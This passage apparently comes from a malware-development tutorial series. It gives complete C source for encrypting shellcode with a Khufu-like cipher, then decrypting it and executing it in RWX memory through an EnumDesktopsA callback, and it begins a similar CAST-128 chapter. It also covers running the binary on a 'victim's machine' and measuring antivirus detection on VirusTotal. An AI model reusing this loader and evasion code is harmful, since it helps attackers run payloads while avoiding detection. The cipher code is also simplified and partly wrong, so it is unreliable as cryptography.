Khufu
Khufu is a cryptographic algorithm that operates on 64-bit blocks of data. The 64-bit
plaintext is initially split into two equal halves, each consisting of 32 bits. These halves
are referred to as L and R. Initially, both halves undergo an XOR operation with a certain
set of key material.
Afterwards, they undergo a sequence of rounds that resemble DES. During each cycle,
the input to an S-box is the least significant byte of L. Every S-box consists of 8 input
bits and 32 output bits. After selecting the 32-bit element in the S-box, it is combined
with R using the XOR operation. Next, L is rotated by a multiple of 8 bits, and then L
and R are exchanged. This marks the end of the round. The S-box is dynamic and
undergoes adjustments every 8 rounds.
Ultimately, following the completion of the previous round, the values of L and R un-
dergo an XOR operation with additional key material. Subsequently, they are merged
together to create the ciphertext block.

practical example
First of all, we need the key: is a 64-byte array (key) initialized with predefined
values:
uint8_t key[KEY_SIZE] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,

834
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F
};
And we need the S-box (sbox) is a 256-element array used for substitution during
encryption and decryption:
uint32_t sbox[256];

void khufu_generate_sbox(uint8_t *key, int round) {


for (int i = 0; i < 256; i++) {
sbox[i] = (key[(round * 8 + i) % KEY_SIZE] << 24) |
(key[(round * 8 + i + 1) % KEY_SIZE] << 16) |
(key[(round * 8 + i + 2) % KEY_SIZE] << 8) |
key[(round * 8 + i + 3) % KEY_SIZE];
}
}
Khufu generating S-box function - this function generates an S-box for each round
using the key. For each S-box element, the function combines four key bytes (shifted
appropriately) to form a 32-bit value.
The next one is the Khufu encryption function:
void khufu_encrypt(uint8_t *block, uint8_t *key) {
uint32_t left = ((uint32_t)block[0] << 24) | ((uint32_t)block[1] << 16) |
((uint32_t)block[2] << 8) | (uint32_t)block[3];
uint32_t right = ((uint32_t)block[4] << 24) | ((uint32_t)block[5] << 16) |
((uint32_t)block[6] << 8) | (uint32_t)block[7];

left ^= ((uint32_t)key[0] << 24) | ((uint32_t)key[1] << 16) | ((uint32_t)key


[2] << 8) | (uint32_t)key[3];
right ^= ((uint32_t)key[4] << 24) | ((uint32_t)key[5] << 16) | ((uint32_t)key
[6] << 8) | (uint32_t)key[7];

for (int round = 0; round < ROUNDS; round++) {


khufu_generate_sbox(key, round);
uint32_t temp = left;
left = right ^ sbox[left & 0xFF];
right = (temp >> 8) | (temp << 24);
uint32_t temp2 = left;
left = right;
right = temp2;

835
}

left ^= ((uint32_t)key[8] << 24) | ((uint32_t)key[9] << 16) | ((uint32_t)key


[10] << 8) | (uint32_t)key[11];
right ^= ((uint32_t)key[12] << 24) | ((uint32_t)key[13] << 16) | ((uint32_t)
key[14] << 8) | (uint32_t)key[15];

block[0] = (left >> 24) & 0xFF;


block[1] = (left >> 16) & 0xFF;
block[2] = (left >> 8) & 0xFF;
block[3] = left & 0xFF;
block[4] = (right >> 24) & 0xFF;
block[5] = (right >> 16) & 0xFF;
block[6] = (right >> 8) & 0xFF;
block[7] = right & 0xFF;
}
What is going on here? First of all, splits the 8-byte block into two 32-bit halves
(left and right). Then the initial key schedule XORs the left and right halves with
key values. For each round:
- Generates the S-box for the round.
- Updates the left half by XORing it with the S-box value indexed by the least significant
byte of left.
- Rotates the right half by 8 bits.
- Swaps left and right halves.
The final key schedule XORs the left and right halves with key values.
The next one is the decryption process. Decryption logic is the reverse of encryption:
void khufu_decrypt(uint8_t *block, uint8_t *key) {
uint32_t left = ((uint32_t)block[0] << 24) | ((uint32_t)block[1] << 16) |
((uint32_t)block[2] << 8) | (uint32_t)block[3];
uint32_t right = ((uint32_t)block[4] << 24) | ((uint32_t)block[5] << 16) |
((uint32_t)block[6] << 8) | (uint32_t)block[7];

left ^= ((uint32_t)key[8] << 24) | ((uint32_t)key[9] << 16) | ((uint32_t)key


[10] << 8) | (uint32_t)key[11];
right ^= ((uint32_t)key[12] << 24) | ((uint32_t)key[13] << 16) | ((uint32_t)
key[14] << 8) | (uint32_t)key[15];

for (int round = ROUNDS - 1; round >= 0; round--) {


uint32_t temp = right;
right = left ^ sbox[right & 0xFF];
left = (temp << 8) | (temp >> 24);
uint32_t temp2 = left;
left = right;
right = temp2;

836
}

left ^= ((uint32_t)key[0] << 24) | ((uint32_t)key[1] << 16) | ((uint32_t)key


[2] << 8) | (uint32_t)key[3];
right ^= ((uint32_t)key[4] << 24) | ((uint32_t)key[5] << 16) | ((uint32_t)key
[6] << 8) | (uint32_t)key[7];

block[0] = (left >> 24) & 0xFF;


block[1] = (left >> 16) & 0xFF;
block[2] = (left >> 8) & 0xFF;
block[3] = left & 0xFF;
block[4] = (right >> 24) & 0xFF;
block[5] = (right >> 16) & 0xFF;
block[6] = (right >> 8) & 0xFF;
block[7] = right & 0xFF;
}
The main logic are encrypting and decrypting shellcode functions:
void khufu_encrypt_shellcode(unsigned char* shellcode, int shellcode_len) {
int i;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
khufu_encrypt(shellcode + i * BLOCK_SIZE, key);
}
// check if there are remaining bytes
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] =
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(pad, shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE,
remaining);
khufu_encrypt(pad, key);
memcpy(shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE, pad,
remaining);
}
}

void khufu_decrypt_shellcode(unsigned char* shellcode, int shellcode_len) {


int i;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
khufu_decrypt(shellcode + i * BLOCK_SIZE, key);
}
// check if there are remaining bytes
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] =
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};

837
memcpy(pad, shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE,
remaining);
khufu_decrypt(pad, key);
memcpy(shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE, pad,
remaining);
}
}
As you can see, the shellcode is encrypted and decrypted block by block. Note that
if the shellcode length is not a multiple of the block size, it is padded (0x90) before
encryption and decrypted accordingly.
Finally, we need to run payload:
int main() {
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int my_payload_len = sizeof(my_payload);


int pad_len = my_payload_len + (8 - my_payload_len % 8) % 8;
unsigned char padded[pad_len];
memset(padded, 0x90, pad_len);
memcpy(padded, my_payload, my_payload_len);

printf("original shellcode: ");

838
for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", my_payload[i]);
}
printf("\n\n");

khufu_encrypt_shellcode(padded, pad_len);

printf("encrypted shellcode: ");


for (int i = 0; i < pad_len; i++) {
printf("%02x ", padded[i]);
}
printf("\n\n");

khufu_decrypt_shellcode(padded, pad_len);

printf("decrypted shellcode: ");


for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", padded[i]);
}

printf("\n\n");

LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT,


PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, padded, my_payload_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
return 0;
}
As usually I used meow-meow messagebox payload:
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"

839
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
and run it by passing it as a callback function to EnumDesktopsA.
The full source code is looks like this (hack.c):
/*
* hack.c
* encrypt/decrypt payload
* via Khufu algorith
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/07/21/malware-cryptography-30.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROUNDS 16
#define BLOCK_SIZE 8
#define KEY_SIZE 64

uint8_t key[KEY_SIZE] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F
};

uint32_t sbox[256];

void khufu_generate_sbox(uint8_t *key, int round) {


for (int i = 0; i < 256; i++) {
sbox[i] = (key[(round * 8 + i) % KEY_SIZE] << 24) |
(key[(round * 8 + i + 1) % KEY_SIZE] << 16) |

840
(key[(round * 8 + i + 2) % KEY_SIZE] << 8) |
key[(round * 8 + i + 3) % KEY_SIZE];
}
}

void khufu_encrypt(uint8_t *block, uint8_t *key) {


uint32_t left = ((uint32_t)block[0] << 24) | ((uint32_t)block[1] << 16) |
((uint32_t)block[2] << 8) | (uint32_t)block[3];
uint32_t right = ((uint32_t)block[4] << 24) | ((uint32_t)block[5] << 16) |
((uint32_t)block[6] << 8) | (uint32_t)block[7];

left ^= ((uint32_t)key[0] << 24) | ((uint32_t)key[1] << 16) |


((uint32_t)key[2] << 8) | (uint32_t)key[3];
right ^= ((uint32_t)key[4] << 24) | ((uint32_t)key[5] << 16) |
((uint32_t)key[6] << 8) | (uint32_t)key[7];

for (int round = 0; round < ROUNDS; round++) {


khufu_generate_sbox(key, round);
uint32_t temp = left;
left = right ^ sbox[left & 0xFF];
right = (temp >> 8) | (temp << 24);
uint32_t temp2 = left;
left = right;
right = temp2;
}

left ^= ((uint32_t)key[8] << 24) | ((uint32_t)key[9] << 16) |


((uint32_t)key[10] << 8) | (uint32_t)key[11];
right ^= ((uint32_t)key[12] << 24) | ((uint32_t)key[13] << 16) |
((uint32_t)key[14] << 8) | (uint32_t)key[15];

block[0] = (left >> 24) & 0xFF;


block[1] = (left >> 16) & 0xFF;
block[2] = (left >> 8) & 0xFF;
block[3] = left & 0xFF;
block[4] = (right >> 24) & 0xFF;
block[5] = (right >> 16) & 0xFF;
block[6] = (right >> 8) & 0xFF;
block[7] = right & 0xFF;
}

void khufu_decrypt(uint8_t *block, uint8_t *key) {


uint32_t left = ((uint32_t)block[0] << 24) | ((uint32_t)block[1] << 16) |
((uint32_t)block[2] << 8) | (uint32_t)block[3];
uint32_t right = ((uint32_t)block[4] << 24) | ((uint32_t)block[5] << 16) |
((uint32_t)block[6] << 8) | (uint32_t)block[7];

841
left ^= ((uint32_t)key[8] << 24) | ((uint32_t)key[9] << 16) | ((uint32_t)key
[10] << 8) | (uint32_t)key[11];
right ^= ((uint32_t)key[12] << 24) | ((uint32_t)key[13] << 16) | ((uint32_t)
key[14] << 8) | (uint32_t)key[15];

for (int round = ROUNDS - 1; round >= 0; round--) {


uint32_t temp = right;
right = left ^ sbox[right & 0xFF];
left = (temp << 8) | (temp >> 24);
uint32_t temp2 = left;
left = right;
right = temp2;
}

left ^= ((uint32_t)key[0] << 24) | ((uint32_t)key[1] << 16) |


((uint32_t)key[2] << 8) | (uint32_t)key[3];
right ^= ((uint32_t)key[4] << 24) | ((uint32_t)key[5] << 16) |
((uint32_t)key[6] << 8) | (uint32_t)key[7];

block[0] = (left >> 24) & 0xFF;


block[1] = (left >> 16) & 0xFF;
block[2] = (left >> 8) & 0xFF;
block[3] = left & 0xFF;
block[4] = (right >> 24) & 0xFF;
block[5] = (right >> 16) & 0xFF;
block[6] = (right >> 8) & 0xFF;
block[7] = right & 0xFF;
}

void khufu_encrypt_shellcode(unsigned char* shellcode, int shellcode_len) {


int i;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
khufu_encrypt(shellcode + i * BLOCK_SIZE, key);
}
// check if there are remaining bytes
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] =
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(pad, shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE,
remaining);
khufu_encrypt(pad, key);
memcpy(shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE, pad,
remaining);
}

842
}

void khufu_decrypt_shellcode(unsigned char* shellcode, int shellcode_len) {


int i;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
khufu_decrypt(shellcode + i * BLOCK_SIZE, key);
}
// check if there are remaining bytes
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] =
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(pad, shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE,
remaining);
khufu_decrypt(pad, key);
memcpy(shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE, pad,
remaining);
}
}

int main() {
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

843
int my_payload_len = sizeof(my_payload);
int pad_len = my_payload_len + (8 - my_payload_len % 8) % 8;
unsigned char padded[pad_len];
memset(padded, 0x90, pad_len);
memcpy(padded, my_payload, my_payload_len);

printf("original shellcode: ");


for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", my_payload[i]);
}
printf("\n\n");

khufu_encrypt_shellcode(padded, pad_len);

printf("encrypted shellcode: ");


for (int i = 0; i < pad_len; i++) {
printf("%02x ", padded[i]);
}
printf("\n\n");

khufu_decrypt_shellcode(padded, pad_len);

printf("decrypted shellcode: ");


for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", padded[i]);
}

printf("\n\n");

LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT,


PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, padded, my_payload_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)
NULL);
return 0;
}
So, this example demonstrates how to use the Khufu encryption algorithm to encrypt
and decrypt payload. For checking correctness, added comparing and printing logic.

demo
Let’s go to see everything in action. Compile it (in my linux machine):
x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \

844
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc

Then, just run it in the victim’s machine (windows 11 x64 in my case):


.\hack.exe

845
As you can see, everything is worked perfectly! =.. =
Calculating Shannon entropy:
python3 entropy.py -f hack.exe

Our payload in the .text section.


Let’s go to upload this hack.exe to VirusTotal:

846
https://www.virustotal.com/gui/file/3a83cabfaa701d9b23b4b78c4c81084ada736afd
b20e0a67581c9208c1a0249a/detection
As you can see, only 15 of 45 AV engines detect our file as malicious.
But this result is not due to the encryption of the payload, but to calls to some Windows
APIs like VirtualAlloc, RtlMoveMemory and EnumDesktopsA
Note that some AV stats are shown with timeout:

Khufu algo’s resistance to differential cryptanalysis is due to its util of key-dependent


and secret S-boxes. A differential attack has been discovered against the 16-round
Khufu cipher, which allows for the recovery of the encryption key after 2^31 selected
plaintexts (H. Gilbert and P. Chauvaud, “A Chosen Plaintext Attack of the 16-Round Khufu
Cryptosystem,” Advances in Cryptology - CRYPTO ’94 Proceedings, Springer-Verlag, 1994).
However, this attack is not applicable to a greater number of rounds.
I hope this post is useful for malware researchers, C/C++ programmers, spreads aware-
ness to the blue teamers of this interesting encrypting technique, and adds a weapon to

847
the red teamers arsenal.
Khufu and Khafre
H. Gilbert and P. Chauvaud - A Chosen Plaintext Attack of the 16-round Khufu Cryp-
tosystem
Malware and cryptography 1
source code in github

848
94. malware and cryptography research - part 3 (31): CAST-128
payload encryption. Simple C example.

This post is the result of my own research on using CAST-128 block cipher on malware
development. As usual, exploring various crypto algorithms, I decided to check what
would happen if we apply this to encrypt/decrypt the payload.

CAST-128
The CAST-128 encryption method is a cryptographic system that resembles DES and
operates using a substitution-permutation network (SPN). It has demonstrated strong
resistance against differential cryptanalysis, linear cryptanalysis, and related-key crypt-
analysis.
CAST-128 is a Feistel cipher that consists of either 12 or 16 rounds. It operates on
blocks of 64 bits and supports key sizes of up to 128 bits. The cipher incorpo-
rates rotation operations to protect against linear and differential attacks. The round
function of CAST-128 uses a combination of XOR, addition, and subtraction (modulo
2**32). Additionally, the cipher employs three different variations of the round func-
tion throughout its operation.

practical example
First of all, we need the key: it is a 128-bit key:
uint32_t key[4] = {0x01234567, 0x89abcdef, 0xfedcba98, 0x76543210};
A 128-bit key (key[4]) is initialized with four 32-bit integers. This key will be
used in the CAST-128 encryption and decryption processes.
Then we need CAST-128 round functions:

849
void f1(uint32_t *d, uint32_t k) {
uint32_t I = *d ^ k;
uint32_t Ia = (I >> 16) & 0xFFFF;
uint32_t Ib = I & 0xFFFF;
uint32_t f = ((Ia + Ib) & 0xFFFF); // ensure no overflow
*d = (*d + f) & 0xFFFFFFFF;
}

void f2(uint32_t *d, uint32_t k) {


uint32_t I = *d ^ k;
uint32_t Ia = (I >> 16) & 0xFFFF;
uint32_t Ib = I & 0xFFFF;
uint32_t f = ((Ia + Ib + 1) & 0xFFFF); // avoid division by zero
*d = (*d ^ f) & 0xFFFFFFFF;
}

void f3(uint32_t *d, uint32_t k) {


uint32_t I = *d ^ k;
uint32_t Ia = (I >> 16) & 0xFFFF;
uint32_t Ib = I & 0xFFFF;
uint32_t f = ((Ia - Ib) & 0xFFFF); // ensure no overflow
*d = (*d ^ f) & 0xFFFFFFFF;
}
f1, f2, and f3 functions: in my case these are simplified versions of the round functions
used in CAST-128. Each function takes a pointer to a 32-bit word (d) and a 32-bit
subkey (k). The functions perform bitwise and arithmetic operations to modify the
value of d.
The next one is the cast_key_schedule function prepares the subkeys for each round
of encryption or decryption. It initializes an array of subkeys (subkeys[ROUNDS][4])
based on the main key:
void cast_key_schedule(uint32_t* key, uint32_t subkeys[ROUNDS][4]) {
for (int i = 0; i < ROUNDS; i++) {
subkeys[i][0] = key[0];
subkeys[i][1] = key[1];
subkeys[i][2] = key[2];
subkeys[i][3] = key[3];
}
}
The next one is the CAST-128 encryption logic:
void cast_encrypt(uint32_t* block, uint32_t subkeys[ROUNDS][4]) {
uint32_t left = block[0];
uint32_t right = block[1];

850
for (int i = 0; i < ROUNDS; i++) {
uint32_t temp = right;
switch (i % 3) {
case 0:
f1(&right, subkeys[i][0]);
break;
case 1:
f2(&right, subkeys[i][1]);
break;
case 2:
f3(&right, subkeys[i][2]);
break;
}
right ^= left;
left = temp;
}

block[0] = right;
block[1] = left;
}
The logic is simple, cast_encrypt function encrypts a block of data using the
CAST-128 algorithm. It operates on a pair of 32-bit words (left and right). For
each round, one of the round functions (f1, f2, or f3) is applied, and the results are
used to modify the block.
Then the cast_decrypt function decrypts a block of data. It works similarly to the
cast_encrypt function but processes the rounds in reverse order:
void cast_decrypt(uint32_t* block, uint32_t subkeys[ROUNDS][4]) {
uint32_t left = block[0];
uint32_t right = block[1];

for (int i = ROUNDS - 1; i >= 0; i--) {


uint32_t temp = right;
switch (i % 3) {
case 0:
f1(&right, subkeys[i][0]);
break;
case 1:
f2(&right, subkeys[i][1]);
break;
case 2:
f3(&right, subkeys[i][2]);
break;
}
right ^= left;

851
left = temp;
}

block[0] = right;
block[1] = left;
}
The main logic are encrypting and decrypting shellcode functions:
void cast_encrypt_shellcode(unsigned char* shellcode, int shellcode_len,
uint32_t subkeys[ROUNDS][4]) {
for (int i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
cast_encrypt((uint32_t*)(shellcode + i * BLOCK_SIZE), subkeys);
}
}

void cast_decrypt_shellcode(unsigned char* shellcode, int shellcode_len,


uint32_t subkeys[ROUNDS][4]) {
for (int i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
cast_decrypt((uint32_t*)(shellcode + i * BLOCK_SIZE), subkeys);
}
}
As you can see, they process the shellcode block by block (8 bytes at a time). Note
that if the shellcode length is not a multiple of the block size, it is padded (0x90) before
encryption and decrypted accordingly.
Finally, we need to run payload:
int main() {
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"

852
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int my_payload_len = sizeof(my_payload);


unsigned char padded[my_payload_len];
memcpy(padded, my_payload, my_payload_len);

uint32_t subkeys[ROUNDS][4];
cast_key_schedule(key, subkeys);

printf("original shellcode: ");


for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", my_payload[i]);
}
